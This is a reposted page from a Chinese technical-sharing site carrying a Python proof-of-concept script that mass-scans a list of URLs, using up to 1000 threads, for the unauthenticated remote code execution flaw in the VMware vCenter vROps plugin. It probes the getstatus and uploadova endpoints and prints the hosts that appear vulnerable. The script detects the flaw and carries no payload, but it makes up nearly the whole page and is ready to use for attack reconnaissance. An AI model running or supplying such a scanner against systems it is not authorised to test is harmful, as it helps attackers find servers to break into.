标签:thread url res 6.5 21972 7.0 num url1 url2
import requests
import threading
import warnings
warnings.filterwarnings("ignore")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36",
}
def run(thread_function, *args):
threads = []
for par in args[0]:
thread = threading.Thread(target=thread_function, args=par)
threads.append(thread)
thread.start()
for t in threads:
t.join()
def poc(*args):
try:
url = args[0]
url1 = url + '/ui/vropspluginui/rest/services/getstatus'
url1 = url1[:7] + url1[7:].replace("//", "/")
res = requests.get(url1, headers=headers, verify=False, timeout=5)
if res.status_code == 200 and '{"States":' in res.text:
print([url, url1, "存在漏洞:Unauthorized RCE in VMware vCenter", res.text[:50]])
return True
url2 = url + '/ui/vropspluginui/rest/services/uploadova'
url2 = url2[:7] + url2[7:].replace("//", "/")
res = requests.post(url2, headers=headers, verify=False, timeout=5)
if res.status_code == 500 and '{"stackTrace":' in res.text:
print([url, url2, "存在漏洞:Unauthorized RCE in VMware vCenter", res.text[:50]])
return True
except:
pass
with open("url.txt") as f:
urllist = [(i.strip(),) for i in f.readlines()]
# print(urllist)
thread_num = 1000
for num in range(0, len(urllist), thread_num):
start = num
end = start + thread_num
run(poc, urllist[start:end])
标签:thread,url,res,6.5,21972,7.0,num,url1,url2
来源: https://blog.csdn.net/weixin_39997829/article/details/114096577
本站声明:
1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。